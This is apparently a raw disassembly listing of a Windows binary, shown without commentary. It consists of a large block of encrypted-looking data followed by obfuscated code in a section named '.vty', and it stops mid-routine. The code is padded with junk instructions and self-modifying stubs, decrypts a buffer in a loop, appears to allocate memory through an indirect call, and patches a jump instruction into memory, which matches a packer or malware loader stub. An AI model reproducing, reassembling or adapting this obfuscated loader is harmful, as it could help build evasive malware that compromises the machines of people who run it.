		dd 0DE445F8Ah, 0B53AC77Ah, 0FD1C09AAh, 0F336733Ah, 817C72E9h
		dd 538C6CFCh, 3A57257Bh, 551A5A39h, 0EE8C96F1h,	0BC54CAD3h
		dd 0DAC9A0Bh, 0B189B0EBh, 3CCE68DFh, 9D59DEFBh,	9E727AE9h
		dd 0E737E69Ah, 419D71C9h, 82240603h, 0D9986411h, 18280AAh
		dd 0E2015D8Ah, 0EC1ED556h, 0E1922334h, 0DA139508h, 9B8192DDh
		dd 4186903h, 0C657D5E6h, 370F3AC8h, 65C3D6B8h, 557E8396h
		dd 38C1B145h, 90CAFFB1h, 9E15DF58h, 0D76CE1ABh,	78327209h
		dd 72D37773h, 0ECB3F5D0h, 8CFC2BD8h, 0BADD55D1h, 8EB1AD03h
		dd 0AF0E154Ch, 0AA0B5E76h, 6F642748h, 1188E299h, 0EDEC50E0h
		dd 808161C3h, 9DF3B5A7h, 14EB9DDAh, 0A4A63F39h,	50D80404h
		dd 430CEE5Eh, 2B76A196h, 3BFE84F8h, 98AF7306h, 0F2E32752h
		dd 0DFDCB7DFh, 0EF7FFDADh, 1AF2E435h, 0F59C3402h, 51FA19F1h
		dd 0E1DA34FBh, 15E1D5F1h, 38E02ADAh, 0D1C1BAC6h, 4B3A2CBEh
		dd 0F1FF5735h, 0B00D2652h, 8183C227h, 0DABDD4CAh, 35CFF51h
		dd 0DE9A9137h, 133EAF0Dh, 4915DB0Eh, 0D4ADA392h, 0FEBE0C7Bh
		dd 7F52F2FCh, 18EBF3BFh, 0A991A214h, 8020EA5Ch,	284252C9h
		dd 6E338E54h, 0E517D29h, 2B481FEDh, 0EAC7E979h,	5A92E6CBh
		dd 0ED2C02D1h, 87DFF820h, 0DE2507D7h, 24FF5825h, 0AB8220A3h
		dd 0C8BA1158h, 22BE27E7h, 39D7E863h, 0DE2F1D12h, 1F2801EAh
		dd 322361FAh, 0B846D5FCh, 0ADE5BDE5h, 0EB1A9C29h, 5AD63AFBh
		dd 15BC2225h, 51242E87h, 435E4F63h, 7EE5FE8Fh, 0B367BD05h
		dd 0DC252C52h, 24B10F5Ah, 1D1CBED8h, 83EE6EF5h,	0A00D08Ch
		dd 0F3C52A22h, 0FCC92413h, 25428F78h, 0FF16EF25h, 878E8B7Ch
		dd 4D8C3E9Ch, 6BDAE07Ah, 0AFA0A88Ch, 21A28967h,	1DADA1DFh
		dd 0C368619Dh, 4F6F736Ah, 757212D8h, 161C41B1h,	0B7F479DCh
		dd 2FEC6D37h, 0FEE7B7A8h, 9EB82B6Eh, 4C1FCE2Ch,	83BCE0Fh
		dd 0A8E65044h, 6F97A4Bh, 41609311h, 5CC92D65h, 0A8C7331Ah
		dd 705B6F11h, 341D0DA1h, 3915401Ch, 0B3BBC873h,	0B6B30A8Eh
		dd 9CD5C044h, 2F408E83h, 88D6A3CDh, 43BFF08Fh, 3889BBA7h
		dd 49626246h, 0A7473B5Dh, 0CF6A52DBh, 0CAAE0368h, 0E99DD942h
		dd 974D5DCh, 0BCF29F6h,	0CEBF5B9Fh, 0D541F11Ah,	0EDE93C8Fh
		dd 9032DC11h, 0E5FA70E7h, 86265BD1h, 1B463595h,	8FBA22F4h
		dd 0BDA7749Eh, 42565BB0h, 0A109B272h, 0BA5A533Fh, 476D5ADCh
		dd 0E1F671DEh, 8621A602h, 832D00FEh, 344321F9h,	0B3F02EBBh
		dd 97C68538h, 8DD433ABh, 0E94F9333h, 8B909CA8h,	42D98887h
		dd 8F7845EDh, 0A0C998F1h, 3754A721h, 30AC6ABAh,	0DEA73450h
		dd 0CFAA0C9Dh, 3B16A4A9h, 0C4F44B89h, 3D43D700h, 0F2CB7AE6h
		dd 5FD8CACBh, 2783E080h
		dd 52202902h, 0CFEB6DC1h, 19931FACh, 5A69034Eh,	705F658h
		dd 4841258Fh, 5D5ADB0Fh, 0B4E2F9A5h, 90238862h,	87FB86B4h
		dd 0BF1CF7B8h, 0CED63778h, 6296394Bh, 0C8389842h, 9B2453E2h
		dd 0E18FD7F4h, 4A800CC9h, 0C3EA11B6h, 8A128E3Eh, 702FC8F8h
		dd 38461915h, 0C286FEA8h, 50EC80CDh, 0B50D686h,	0E1876222h
		dd 0DC79B013h, 4BA6BAF1h, 0AA198549h, 0FA1A0547h, 0B9817911h
		dd 13A7F846h, 0E5789FB3h, 859B0FA0h, 2F820629h,	0C526546Eh
		dd 18A6B9D9h, 0DF9850A0h, 2815D2B2h, 0DBE9C002h, 2691D0D9h
		dd 14D9D7C1h, 9B6DE401h, 8E692AD7h, 882A9DB3h, 7AD42B19h
		dd 0FD9ADBCFh, 6DCB7A91h, 0C6A0CD59h, 26235420h, 9A389C57h
		dd 0B3DD9DCAh, 0D2D49BAEh, 0BEE86D6Bh, 598D2D63h, 605746E5h
		dd 71609E12h, 832206ACh, 4D43BDFFh, 4A2C3F76h, 54974F7Ah
		dd 0E5AC688Ah, 0D9FCF4Eh, 0C7249199h, 2FF0C4B7h, 0A32FE831h
		dd 2B7D7E8Bh, 5DA1FC7Fh, 0BD1F35A5h, 57974794h,	0BBB18922h
		dd 0C044F53Bh, 0E45A3E92h, 6F926B3Ah, 590014Dh,	494A4F3Dh
		dd 0CAAA5200h, 0C9D574DCh, 0D5CB9ED9h, 0D5269EFEh, 3EB5B1B3h
		dd 0E42C1422h, 774C4A99h, 0AC1E922Fh, 0A3D09120h, 9328818Ch
		dd 5215C94h, 0DA2CD9E0h, 0DE40F285h, 0E9BA3665h, 503D8E4Eh
		dd 1FD36679h, 80DF28ACh, 0EDEDBAB6h, 822250Dh, 89620BFEh
		dd 0B7C87A36h, 8778CE22h, 33984F64h, 0AFBE4F89h, 0BC028CAh
		dd 112B8B98h, 54B38DAh,	0B206A09Ah, 3A95E1D5h, 1894D940h
		dd 0F8C0DC3Eh, 1148EE51h, 8A84895h, 74EC7230h, 42E7FACCh
		dd 8FC66339h, 0A5426426h, 0C0B7637h, 796CD64h, 19026307h
		dd 4699BBD0h, 47CEA94Dh, 0BA670D4Ch, 0FC6FB553h, 58EE2C43h
		dd 246E1147h, 48740745h, 0B14E783Ah, 0C2A8D1DEh, 0F2024AC6h
		dd 9ACA69C4h, 344CDD5Ah, 0F9E411Fh, 41B0CE9Eh, 4B2A3Ch
		dd 0EA56593Fh, 2EEEE741h, 0EBB61636h, 0B7A9BAEBh, 131E3F80h
		dd 0E6FA36DBh, 0B85594D0h, 6D65D6C8h, 878320FAh, 88FE4D0h
		dd 3CC7603Dh, 39A15C6h,	382BA50Ch, 0EBE83F7Eh, 65B8F32Ch
		dd 4D7D5B21h, 0E11DBA70h, 0B39E7ADh, 52AFEDAEh,	246E0204h
		dd 31606DE2h, 2AF418DEh, 7D0869A3h, 4F457CE5h, 445B4EFh
		dd 65ED5B6Eh, 36480DA1h, 0D026F3F4h, 1A3C8DBFh,	0E6FC0CE8h
		dd 0FBDEA1F9h, 0E16286E2h, 0E299619h, 4C3DB592h, 0CB84DA9Ch
		dd 2F1AF0FBh, 65C415E1h, 0D28E9850h, 0DE70ACF7h, 5A3CC55Ah
		dd 4575E39Ch, 0C08B4BB8h, 0E79D7239h, 9505A054h, 58C114E7h
		dd 0A3148943h, 2F813CC5h, 2E631802h, 0EC4E9C28h, 5700193Dh
		dd 202E71C9h, 0ACC4E2D4h, 24A6405Ch, 0E06BC1F7h, 43F67440h
		dd 45E52F98h, 0D40D6FB3h, 0ECC9FFC9h, 35859704h, 69BA8BD3h
		dd 0CCF7A9B1h, 3B37600Fh, 0ED38D39Bh, 68623551h, 71A56C47h
		dd 2BC1540Eh, 1F4D25D1h, 0BADDF179h, 0FB586DAEh, 836E3594h
		dd 0D71ADDAEh, 80ED8733h, 773A9647h, 5FE89763h,	5BA5C182h
		dd 0E5C6BB70h, 0B6E8E37Ah, 9438F6EDh, 57798052h, 0E49410D5h
		dd 9D691407h, 0C14B4B62h, 330C4CE7h, 55C5E73Ah,	0BCC443C0h
		dd 0EA61BC88h, 8A53CB33h, 456D6B56h, 7270F380h,	87FA2A25h
		dd 98D4F9CEh, 286029EFh, 9BCD37D9h, 0C7E6F3B9h,	59A0751Fh
		dd 98CB2A6h, 0D993F35Eh, 80431CFh, 3EF53201h, 18285C10h
		dd 0BE0483C0h, 9B05B5F5h, 42B37922h, 5295F10Fh,	2269718Dh
		dd 6A8DA6AEh, 25504BF5h, 0CA3ACACFh, 2C33B2A5h,	0B90BCF82h
		dd 905F5711h, 0D55901DAh, 58A513E2h, 0D0857684h, 0DDFE651Bh
		dd 85A43306h, 0F775A90Ah, 0E61BF066h, 719AF204h, 0CF3A2EB2h
		dd 0A07DFA41h, 0FA84398Eh, 0D0C2374Bh, 397D8005h, 4548D156h
		dd 0DDECF68Bh, 0C14EF087h, 0F81C859Dh, 3A69F364h, 0BD243320h
		dd 462253ACh, 0CF79BE08h, 0E272D410h, 8F7CFE08h, 2C7FBD52h
		dd 0CE338884h, 0C54DE91Eh, 1B270861h, 0E0680363h, 3AE695DEh
		dd 6B73B50Bh, 2FFAE72Fh, 0BF5E2F9Bh, 472F3E07h,	8AB55457h
		dd 1F405E4Eh, 7791141Dh, 38EC9A9h, 0B0A30AA2h, 9B72C094h
		dd 0B8E43F6Bh, 9C41DA96h, 9883036Fh, 382BAC6Eh,	0C865145Fh
		dd 499376CFh, 215076D2h, 0C365FC09h, 0B9ACF1A1h, 0C7041585h
		dd 37C24DE7h, 26FD68A1h, 0CCE1DBF4h, 57A165D3h,	739D1656h
		dd 46F3C6FEh, 0CC65ACEh, 2CBB05E1h, 5ADF53B9h, 0BC469452h
		dd 8AD4DE7Ch, 0FDB14E5Fh, 1DA181C3h, 0BD99B086h, 0C3DA9A3h
		dd 8C401083h, 12A2F03Bh, 0D8322C0Bh, 0A45580B4h, 459614CDh
		dd 0D734E486h, 0F5813A2Fh, 0E503F72h, 53AF373Ah, 6BDC9CAh
		dd 0EF7BA662h, 7125D503h, 4AEA503Eh, 0B9597BBFh, 0F60656DCh
		dd 0D7894A34h, 0A2A755Dh, 75855C75h, 6D1704F5h,	43AADCF1h
		dd 13C09968h, 0CB4E34DBh, 513CC87Dh, 0E6B2D64h,	850E51FBh
		dd 7DF06A9Fh, 0C2CD965Ch, 8193CB64h, 31F3C812h,	1119E301h
		dd 11DEB4CCh, 99D5B125h, 7539E503h, 0CDF4B094h,	0F43C1E1h
		dd 34F1C105h, 0C611D6FEh, 0F2099669h, 146A31C7h, 69BB1C95h
		dd 1DF3397Ah, 66FCFE81h, 6555B9DCh, 65AA2069h, 0CB3C28DCh
		dd 2F56B5BFh, 883112CAh, 79E78998h, 8FAECD5Dh, 0F00BB8BDh
		dd 0A6CB3328h, 158936Ah, 0C5DD9B5Ch, 0E4EEAAh, 596DFCADh
		dd 0E8F4A383h, 9A571B7Ch, 7FC37AA1h, 0A2C9F346h, 189C3412h
		dd 94C7F472h, 4FF16F6Eh, 2A84B1h, 0F1EC1A6Ah, 0FE8DF33Dh
		dd 331CEA3Ch, 0DFE45B2Fh, 0ACC3127Dh, 0FF83FFFFh, 3000008Fh
		dd 4060002h, 5A000000h,	920C437h, 5E80C2B7h, 29B54EBh
		dd 1878897Ah, 4E69C444h, 3B934657h, 0B4B25133h,	22BF3C1Fh
		dd 221D38E7h, 86100F43h, 5CA43DBDh, 8B00049Bh, 0DCCC127Ah
		dd 8C44E864h, 4D60B9BCh, 973A72F7h, 85DD93A2h, 6891222Ah
		dd 3F324234h, 7A753BF8h, 48612C56h, 8A7A45DEh, 920CFFA3h
		dd 0B0CA56E9h, 9C6A9AB0h, 0B4C7C81Dh, 87672985h, 497F4907h
		dd 0C632D06Ch, 83D8190h, 6A0156FDh, 39079425h, 6300F166h
		dd 6FCD1115h, 2F38B9B9h, 0A224BE85h, 0C13BF3B2h, 0E24358A6h
		dd 0A95B137Eh, 0E335FE58h, 7194495Ah, 39DFF1D8h, 0B039B769h
		dd 0EF680AE7h, 36AD0BF5h, 20D5DCABh, 1E36F61h, 1ECEDBDCh
		dd 310F534Ah, 0BA2336D1h, 4CB6ED5Ch, 6A3D64F3h,	475E76Eh
		dd 1012782h, 2DB6AF5Bh,	0DCA56576h, 8B4F2D28h, 0D791E4CAh
		dd 28317108h, 8162C025h, 7B08C7E5h, 13178D38h, 2BDE9BF0h
		dd 0A28BC853h, 0B99940FAh, 0F9F92175h, 641DC90h, 15C650F0h
		dd 0AF81B05Ch, 82026410h, 5A2C81F6h, 0D6B9C75Ah, 0BBAAD4E9h
		dd 0D54C3598h, 618AA760h, 939CC21Eh, 0FCC2CC26h, 308396D6h
		dd 0EA9CF183h, 57768BFFh, 16FB4591h, 59824B8Fh,	0A730659h
		dd 73A54618h, 0C19385BCh, 30B880E0h, 9CA62452h,	96404B35h
		dd 9DE8B57h, 5BCA706Dh,	0D5F8C9E8h, 18B2FF09h, 394F80D8h
		dd 0ED06A4B6h, 7D14F18Eh, 0B833CA78h, 39486968h, 80111D45h
		dd 0AF7140E2h, 0DE53F22Ch, 5CFB1759h, 0C8C3D0D0h, 3FC9E486h
		dd 86D11180h, 0E922C8B6h, 60BFAE50h, 0EF086913h, 0C351B2FAh
		dd 6EE7E407h, 740AC814h, 834EFDE3h, 272420BDh, 0F54B2C4Bh
		dd 0E21B6C8Eh, 874D5C0Ah, 606C3F06h, 0C311C79Fh, 2BB6AEB1h
		dd 57D2AA92h, 0AB43437Bh, 1BB802D5h, 0B55AC37Dh, 6B49D898h
		dd 0C5F92671h, 8DF1AB6Eh, 1FA74C99h, 8236E023h,	0A904BF58h
		dd 0C0E98DF7h, 812FA989h, 0FE2470B7h, 0D82431B4h, 975B6D33h
		dd 48A32A92h, 0CC0E241Eh
		dd 1016B760h, 6C36C179h, 0AE0D4B53h, 0D959B212h, 0A60EAB30h
		dd 1D6EB15Eh, 0CFA6680Dh, 0AF1888BDh, 5CCE3A34h, 5A290905h
		dd 564F96A5h, 5CBA9C6Dh, 0A9643C87h, 0E4AAEA7Bh, 2DBA927Ch
		dd 6FAA421Ah, 98869C52h, 0E17FB5A4h, 0FEAF825Ah, 3172680Dh
		dd 9E2510ECh, 4C0D3763h, 68F27812h, 7B239CA5h, 0DA79DF59h
		dd 47480758h, 0C272DC32h, 0F9F8FAA6h, 34660748h, 9E6FEDE9h
		dd 9445C35Bh, 179654C9h, 0E83739FAh, 5384234Eh,	0BEE13E49h
		dd 0CD08DADAh, 5F57F87Dh, 0DB4D6150h, 0D4FB16F4h, 96B36FE0h
		dd 5B5ECACCh, 0C88687BBh, 4547760Dh, 5274338Ah,	7D4EF443h
		dd 3E16BDADh, 0BE0AD77Ah, 8D861084h, 1B966AFFh,	0E1D5E42Fh
		dd 0BC22E42Ch, 5C3EBF0Eh, 0A28EE6A7h, 0F8FE8E2Ah, 57F760A0h
		dd 463D1854h, 14E288BCh, 0B954844Fh, 0F9AD0650h, 0A1E6A0F9h
		dd 3DE42FAFh, 0B6464669h, 489A0627h, 7DF91EC6h,	228218DEh
		dd 572AE799h, 16B91A39h, 48294F56h, 0A02A8F58h,	0CDC784B0h
		dd 97409DDBh, 0C9B1ED52h, 18261A4Dh, 0D47BB6BDh, 5EF3DF1Dh
		dd 0A65C7CADh, 0BA108A52h, 3682AB65h, 28B00AD5h, 0A27D6D42h
		dd 170CB14Bh, 0D98E8BAh, 7E0360Fh, 67827226h, 6C0F138Ch
		dd 0F327E5A9h, 5D97DDB9h, 69CC6442h, 0CCA5905Fh, 13A2BC9Ch
		dd 0A745E411h, 0A388EF91h, 0A3DB0273h, 14D3FCF0h, 2ABAE192h
		dd 0B064A821h, 263F3E6Dh, 0F616B4B5h, 0F0E478B6h, 0E18033E3h
		dd 0A9ED7AF4h, 0D8779C11h, 193F6F8Ch, 156AC77Bh, 87337AEh
		dd 9F8409ABh, 68ADC3D8h, 4258C5ACh, 419186DCh, 553F63DFh
		dd 3F22DFC5h, 0D57CAB35h, 0C941386Bh, 57BA93Fh,	0B53531D3h
		dd 0D4D5A2E1h, 8D0DD5EBh, 41B5F7F8h, 947C89B2h,	0A8324E77h
		dd 0FFFFAB37h, 69A768DEh, 27000h, 391h,	7F6A0000h, 7F7F0777h
		dd 0AFEE875Ah, 0A48AE29Bh, 5B45EFC9h, 0F2A6CF30h, 0D5266659h
		dd 0FA9C712Bh, 0A005E517h, 65488DF9h, 0B2721D69h, 1F82B5A5h
		dd 883CBE86h, 894DA18Dh, 47175212h, 0E7362F78h,	92F8BB09h
		dd 23E847C0h, 3065D1FCh, 0E5A2C79Ch, 4D551567h,	91A827C6h
		dd 94E9EBCCh, 0FCF199E4h, 0F48CE57Dh, 0FF2B4A5Fh, 72511A2Eh
		dd 0AA1D9BCh, 0B301387Dh, 0A77E5CCBh, 0FB8BC3B2h, 1703C079h
		dd 0B020D4A8h, 0F09815E7h, 0F3F7E568h, 0F30E7EFFh, 0EA93534Fh
		dd 1CA72F8Ah, 927A172h,	0CA28C317h, 3EE036B0h, 0C63B666Ah
		dd 1C7A0584h, 404DFC24h, 3B1EF017h, 7F9B110Ch, 37AF606Dh
		dd 0A068D2Fh, 0AB1087B3h, 532FA759h, 5718CBB7h,	89CCA877h
		dd 6796C52Bh, 47ED2B56h, 6BBC9B15h, 416618E5h, 26287F13h
		dd 0D9DC8B32h, 7F6E78A7h, 1DBDC227h, 0C5E828F7h, 0A7BBF34Eh
		dd 1960B435h, 32324826h, 9D6B6B54h, 34AD18A4h, 59284970h
		dd 10E70CAh, 0B1355E5Fh, 2B417F53h, 0DA41BE6Dh,	0F6E2CF82h
		dd 0C9EEEA1Fh, 6912FA2Ah, 0E70C2C71h, 773F903Fh, 0CEF8B9F0h
		dd 489A6FCh, 9CB95B45h,	9A1595D8h, 0F45F2A9Dh, 777C0C3Bh
		dd 554EA23Ah, 32AB72FAh, 0AC9C44A3h, 467E15BBh,	0C84DC1FAh
		dd 4235B3B4h, 0E2024C88h, 3E6BC18Eh, 58A8CF24h,	3BDF706h
		dd 84F06D47h, 0D79D5D53h, 0EF4C27FCh, 60914740h, 4D478BD2h
		dd 0DC5DC6B1h, 559DCBCAh, 0DC202843h, 0F06A5CC3h, 0FEEC7EE4h
		dd 62462986h, 0CB83BD74h, 127F1919h, 153AA288h,	4FAF5707h
		dd 9ABEFB8h, 24E3001Dh,	736A7677h, 288F0B31h, 840D97B6h
		dd 18AF436Ah, 51DC06D6h, 5843C1C2h, 36FA5A2Dh, 90C77A49h
		dd 0DCAA0354h, 0CBC60512h, 3B4BC03Bh, 0A8387C22h, 72BD2A15h
		dd 0E798C381h, 7D1C3D51h, 0E3FA72E8h, 0E11A55DAh, 0B7AA076Eh
		dd 0E05F3C8Bh, 0B779FCE3h, 4C7A7FCAh, 0EBCABAF9h, 9BC7B2C8h
		dd 0A0523EF2h, 3AA92FC6h, 1F0DD5E3h, 0CE7A446Eh, 30E7287Ch
		dd 3754A69Bh, 890A30BFh, 9AB52095h, 64A61576h, 0E4234C03h
		dd 0AE94EE3Bh, 0FA86C76h, 374EB52Bh, 0D22A606Dh, 1E437DF2h
		dd 0D6144AE8h, 3A8E0E3Fh, 2B004CBh, 0DA9D5D4h, 6B3F6BBBh
		dd 768C6986h, 0B739F0BAh, 0D7687277h, 37EF156Ch, 0B214FAC0h
		dd 208458E1h, 62C9FBB3h, 0A8D82C71h, 0F62BA1D9h, 8A15DFA1h
		dd 9F666EB2h, 8B17F6E8h, 0A49251F1h, 6AC4FBF0h,	0DA7CE001h
		dd 0A556C8BAh, 0B8D77CF6h, 439419FFh, 78344AC7h, 79AA969Dh
		dd 77C3699Ch, 0B9AB3EE9h, 838A294Bh, 78AF9749h,	0B49070Bh
		dd 0BB538F97h, 0AF5A6553h, 0A775EFB5h, 0ADA39735h, 72B37BF8h
		dd 12684E91h, 1C24B299h, 0DB173247h, 0D26294D9h, 0D23E2669h
		dd 6B49E15h, 2610EB51h,	36BA7202h, 6984F818h, 6302879h
		dd 0C610AFAh, 0D0B25C3Fh, 40898D30h, 0FC4C9C09h, 47135E73h
		dd 0DC4F3B83h, 2025712Eh, 0EEBF6E82h, 0AA8029C1h, 0E5F07808h
		dd 54DC0E82h, 0F3C308C1h, 0D0643022h, 5FF23376h, 0FE89DA91h
		dd 1A802C56h, 20734FD2h, 0B7681Eh, 0BF54F52Eh, 0B0AEF31Ah
		dd 0BB20F1ADh, 0E622F252h, 0E3D08934h, 3619EC89h, 0FCB28C22h
		dd 77C99C8h, 7F9D01B1h,	24C3EBC1h, 84EE5890h, 258F11FCh
		dd 0B6BE8C9h, 0E05F51B9h, 6A391703h, 4291CF39h,	39A5B750h
		dd 0D393FFFh, 0
		dd 40000000h, 0
		dd 0C1CD800h, 400h, 0
		dd 43765300h, 4282AE00h, 42816800h, 42151800h, 2 dup(40000000h)
		dd 0
		dd 42800000h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_437085	proc near		; CODE XREF: .vty:0043764Ej startj
		jmp	sub_4107B2
sub_437085	endp

; ---------------------------------------------------------------------------
		dw 5B00h
; ---------------------------------------------------------------------------
		lea	ebx, [ebx-3Ah]
		mov	eax, eax
		mov	ebx, ebx
		mov	ecx, ecx
		mov	esi, esi
		nop
		nop
		nop
		nop
		jmp	short loc_4370C5
; ---------------------------------------------------------------------------
		lea	ebx, [ebx-3Ah]
		mov	eax, eax
		mov	ebx, ebx
		mov	ecx, ecx
		mov	esi, esi
		pushfw
		pusha
		mov	esi, [esp+22h]
		lea	edi, [esi-5]
		add	esi, 0Ch
		mov	ecx, 0Bh
		rep movsb
		sub	dword ptr [esp+22h], 5
		popa
		popfw
		retn
; ---------------------------------------------------------------------------


loc_4370C5:				; CODE XREF: .vty:0043709Bj
		add	[ebx], ebx
		mov	eax, eax
		mov	ebx, ebx
		mov	ecx, ecx
		mov	esi, esi
		nop
		nop
		nop
		nop
		nop
		jmp	short loc_4370FD
; ---------------------------------------------------------------------------
		dw 1B01h
		align 10h
		pushfw
		pusha
		mov	esi, [esp+22h]
		lea	edi, [esi-5]
		add	esi, 0Ch
		mov	ecx, 0Ah
		rep movsb
		sub	dword ptr [esp+22h], 5
		popa
		popfw
		retn
; ---------------------------------------------------------------------------


loc_4370FD:				; CODE XREF: .vty:004370D4j
		mov	edx, [ebx]
		mov	eax, eax
		mov	ebx, ebx
		mov	ecx, ecx
		mov	esi, esi
		nop
		nop
		nop
		nop
		nop
		jmp	short loc_437135
; ---------------------------------------------------------------------------
		mov	edx, [ebx]
		mov	eax, eax
		mov	ebx, ebx
		mov	ecx, ecx
		mov	esi, esi
		pushfw
		pusha
		mov	esi, [esp+22h]
		lea	edi, [esi-5]
		add	esi, 0Ch
		mov	ecx, 0Ah
		rep movsb
		sub	dword ptr [esp+22h], 5
		popa
		popfw
		retn
; ---------------------------------------------------------------------------


loc_437135:				; CODE XREF: .vty:0043710Cj
		lea	esi, [ebx+14h]
		mov	eax, eax
		mov	ebx, ebx
		mov	ecx, ecx
		mov	esi, esi
		nop
		nop
		nop
		nop
		jmp	short loc_43716E
; ---------------------------------------------------------------------------
		lea	esi, [ebx+14h]
		mov	eax, eax
		mov	ebx, ebx
		mov	ecx, ecx
		mov	esi, esi
		pushfw
		pusha
		mov	esi, [esp+22h]
		lea	edi, [esi-5]
		add	esi, 0Ch
		mov	ecx, 0Bh
		rep movsb
		sub	dword ptr [esp+22h], 5
		popa
		popfw
		retn
; ---------------------------------------------------------------------------


loc_43716E:				; CODE XREF: .vty:00437144j
		push	8
		mov	eax, eax
		mov	ebx, ebx
		mov	ecx, ecx
		mov	esi, esi
		nop
		nop
		nop
		nop
		nop
		jmp	short loc_4371A6
; ---------------------------------------------------------------------------
		push	8
		mov	eax, eax
		mov	ebx, ebx
		mov	ecx, ecx
		mov	esi, esi
		pushfw
		pusha
		mov	esi, [esp+22h]
		lea	edi, [esi-5]
		add	esi, 0Ch
		mov	ecx, 0Ah
		rep movsb
		sub	dword ptr [esp+22h], 5
		popa
		popfw
		retn
; ---------------------------------------------------------------------------


loc_4371A6:				; CODE XREF: .vty:0043717Dj
		pop	ecx
		mov	eax, eax
		mov	ebx, ebx
		mov	ecx, ecx
		mov	esi, esi
		nop
		nop
		nop
		nop
		nop
		nop
		jmp	short loc_4371DD
; ---------------------------------------------------------------------------
		pop	ecx
		mov	eax, eax
		mov	ebx, ebx
		mov	ecx, ecx
		mov	esi, esi
		pushfw
		pusha
		mov	esi, [esp+22h]
		lea	edi, [esi-5]
		add	esi, 0Ch
		mov	ecx, 9
		rep movsb
		sub	dword ptr [esp+22h], 5
		popa
		popfw
		retn
; ---------------------------------------------------------------------------


loc_4371DD:				; CODE XREF: .vty:004371B5j
					; .vty:loc_437283j
		add	[esi], edx
		mov	eax, eax
		mov	ebx, ebx
		mov	ecx, ecx
		mov	esi, esi
		nop
		nop
		nop
		nop
		nop
		jmp	short loc_437215
; ---------------------------------------------------------------------------
		add	[esi], edx
		mov	eax, eax
		mov	ebx, ebx
		mov	ecx, ecx
		mov	esi, esi
		pushfw
		pusha
		mov	esi, [esp+22h]
		lea	edi, [esi-5]
		add	esi, 0Ch
		mov	ecx, 0Ah
		rep movsb
		sub	dword ptr [esp+22h], 5
		popa
		popfw
		retn
; ---------------------------------------------------------------------------


loc_437215:				; CODE XREF: .vty:004371ECj
		lodsd
		mov	eax, eax
		mov	ebx, ebx
		mov	ecx, ecx
		mov	esi, esi
		nop
		nop
		nop
		nop
		nop
		nop
		jmp	short loc_43724C
; ---------------------------------------------------------------------------
		lodsd
		mov	eax, eax
		mov	ebx, ebx
		mov	ecx, ecx
		mov	esi, esi
		pushfw
		pusha
		mov	esi, [esp+22h]
		lea	edi, [esi-5]
		add	esi, 0Ch
		mov	ecx, 9
		rep movsb
		sub	dword ptr [esp+22h], 5
		popa
		popfw
		retn
; ---------------------------------------------------------------------------


loc_43724C:				; CODE XREF: .vty:00437224j
		dec	ecx
		mov	eax, eax
		mov	ebx, ebx
		mov	ecx, ecx
		mov	esi, esi
		nop
		nop
		nop
		nop
		nop
		nop
		jmp	short loc_437283
; ---------------------------------------------------------------------------
		dec	ecx
		mov	eax, eax
		mov	ebx, ebx
		mov	ecx, ecx
		mov	esi, esi
		pushfw
		pusha
		mov	esi, [esp+22h]
		lea	edi, [esi-5]
		add	esi, 0Ch
		mov	ecx, 9
		rep movsb
		sub	dword ptr [esp+22h], 5
		popa
		popfw
		retn
; ---------------------------------------------------------------------------


loc_437283:				; CODE XREF: .vty:0043725Bj
		jnz	loc_4371DD
		mov	ebp, eax
		mov	byte ptr [esi],	0E9h
		mov	eax, [ebx+0Ch]
		mov	[esi+1], eax
		mov	eax, [ebp+8]
		push	4
		mov	eax, eax
		mov	ebx, ebx
		mov	ecx, ecx
		mov	esi, esi
		nop
		nop
		nop
		nop
		nop
		jmp	short loc_4372CF
; ---------------------------------------------------------------------------
		push	4
		mov	eax, eax
		mov	ebx, ebx
		mov	ecx, ecx
		mov	esi, esi
		pushfw
		pusha
		mov	esi, [esp+22h]
		lea	edi, [esi-5]
		add	esi, 0Ch
		mov	ecx, 0Ah
		rep movsb
		sub	dword ptr [esp+22h], 5
		popa
		popfw
		retn
; ---------------------------------------------------------------------------


loc_4372CF:				; CODE XREF: .vty:004372A6j
		push	1000h
		mov	eax, eax
		mov	ebx, ebx
		mov	ecx, ecx
		mov	esi, esi
		nop
		nop
		jmp	short loc_43730A
; ---------------------------------------------------------------------------
		push	1000h
		mov	eax, eax
		mov	ebx, ebx
		mov	ecx, ecx
		mov	esi, esi
		pushfw
		pusha
		mov	esi, [esp+22h]
		lea	edi, [esi-5]
		add	esi, 0Ch
		mov	ecx, 0Dh
		rep movsb
		sub	dword ptr [esp+22h], 5
		popa
		popfw
		retn
; ---------------------------------------------------------------------------


loc_43730A:				; CODE XREF: .vty:004372DEj
		push	0F000000h
		mov	eax, eax
		mov	ebx, ebx
		mov	ecx, ecx
		mov	esi, esi
		nop
		nop
		jmp	short loc_437345
; ---------------------------------------------------------------------------
		push	0F000000h
		mov	eax, eax
		mov	ebx, ebx
		mov	ecx, ecx
		mov	esi, esi
		pushfw
		pusha
		mov	esi, [esp+22h]
		lea	edi, [esi-5]
		add	esi, 0Ch
		mov	ecx, 0Dh
		rep movsb
		sub	dword ptr [esp+22h], 5
		popa
		popfw
		retn
; ---------------------------------------------------------------------------


loc_437345:				; CODE XREF: .vty:00437319j
		push	0
		mov	eax, eax
		mov	ebx, ebx
		mov	ecx, ecx
		mov	esi, esi
		nop
		nop
		nop
		nop
		nop
		jmp	short loc_43737D
; ---------------------------------------------------------------------------
		push	0
		mov	eax, eax
		mov	ebx, ebx
		mov	ecx, ecx
		mov	esi, esi
		pushfw
		pusha
		mov	esi, [esp+22h]
		lea	edi, [esi-5]
		add	esi, 0Ch
		mov	ecx, 0Ah
		rep movsb
		sub	dword ptr [esp+22h], 5
		popa
		popfw
		retn
; ---------------------------------------------------------------------------


loc_43737D:				; CODE XREF: .vty:00437354j
		call	eax
		mov	edx, eax
		mov	eax, eax
		mov	ebx, ebx
		mov	ecx, ecx
		mov	esi, esi
		nop
		nop
		nop
		nop
		nop
		jmp	short loc_4373B7
; ---------------------------------------------------------------------------
		mov	edx, eax
		mov	eax, eax
		mov	ebx, ebx
		mov	ecx, ecx
		mov	esi, esi
		pushfw
		pusha
		mov	esi, [esp+22h]
		lea	edi, [esi-5]
		add	esi, 0Ch
		mov	ecx, 0Ah
		rep movsb
		sub	dword ptr [esp+22h], 5
		popa
		popfw
		retn
; ---------------------------------------------------------------------------


loc_4373B7:				; CODE XREF: .vty:0043738Ej
		mov	edi, edx
		mov	eax, eax
		mov	ebx, ebx
		mov	ecx, ecx
		mov	esi, esi
		nop
		nop
		nop
		nop
		nop
		jmp	short loc_4373EF
; ---------------------------------------------------------------------------
		mov	edi, edx
		mov	eax, eax
